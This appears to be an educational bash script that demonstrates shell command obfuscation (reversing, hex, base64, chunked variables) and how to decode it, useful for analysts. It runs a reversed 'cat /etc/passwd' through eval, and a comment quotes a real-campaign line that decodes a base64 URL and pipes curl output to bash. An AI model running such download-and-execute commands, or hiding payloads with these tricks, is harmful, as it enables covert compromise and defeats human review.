#!/bin/bash
#
# Obfuscation makes commands or scripts more difficult to understand.
# It's commonly found in security contexts.
#
# Obfuscation techniques include:
#   - Using encodings, such as base64 or hexadecimal.
#   - Revesing a command line.
#   - XORing a command line with some key.
#   - Creating custom transformations of characters.
#   - And many, many others
#
# Example:
#
# Run: printf "cat /etc/passwd" | rev
# Then take the output and put in within a eval + rev command

eval "$(rev <<<'dwssap/cte/ tac')"

# Example:
#
# Encode: echo "printf 'hello, world'" | xxd -p
# Result: 7072696e7466202768656c6c6f2c20776f726c64270a

eval $(echo 7072696e7466202768656c6c6f2c20776f726c64270a | xxd -r -ps)

# Recall that 'eval' is actually not needed.
# Encode using base64: echo "ls -l /tmp/foo/*.sh" | base64
# Output: bHMgLWwgL3RtcC9mb28vKi5zaAo=

$(printf bHMgLWwgL3RtcC9mb28vKi5zaAo= | base64 -d)

# Exercise: combine one encoding and reversing a line

# Example from a recent (2025) campaign:
# curl -kfsSL $(echo 'aHR0cHM6Ly9lcmtxdGJ2aC5hcHBsZS1wa2dzLmNvbS9jdXJsL2JmNDk0YmY4Nzk2N2UxYmUxMTU1YTYzYzg2N2ZkMGYyNmNkMWQ0YmI5OWJiMDU4NmU0OTE4OGNkODUwNGFlNWM='|base64 -D)|bash

# Some approaches like bash-obfuscate splits the script into chunks of some
# size, assigns a variable to each chunk, and replaces the original script
# with variable references.
# See: https://github.com/willshiao/node-bash-obfuscate
# This may seem to add some illegibility but only for very basic users.
# You just need to replace the final eval by a print to automatically
# recover the original script.
# Example:
#

z="";Hz='echo';Gz=''\''';Lz='for ';Qz='; i+';Ez='Node';Cz=''\''I l';Uz='done';Jz='R_VA';Az='USR_';Fz='.js!';Nz=' = 0';Bz='VAR=';Kz='R';Rz='+ ))';Wz=' wor';Iz=' $US';Vz=' "It';Oz='; i ';Sz='; do';Mz='(( i';Tz=' $i';Xz='ks!"';Pz='< 10';Dz='ike ';
eval "$Az$Bz$Cz$Dz$Ez$Fz$Gz$z$Hz$Iz$Jz$Kz$z$Lz$Mz$Nz$Oz$Pz$Qz$Rz$Sz$z$Hz$Tz$z$Uz$z$Hz$Vz$Wz$Xz"

# Replace 'eval' by 'printf' and analyze the output.


# Bashfuscator
#
# Bashfuscator (https://github.com/Bashfuscator/Bashfuscator) is a simple
# but powerful tool that provides multiple obfuscation methods and can be
# easily extended with more.
#
#
#
# Other approaches: compile sh2elf.
# Tools: shc, obash
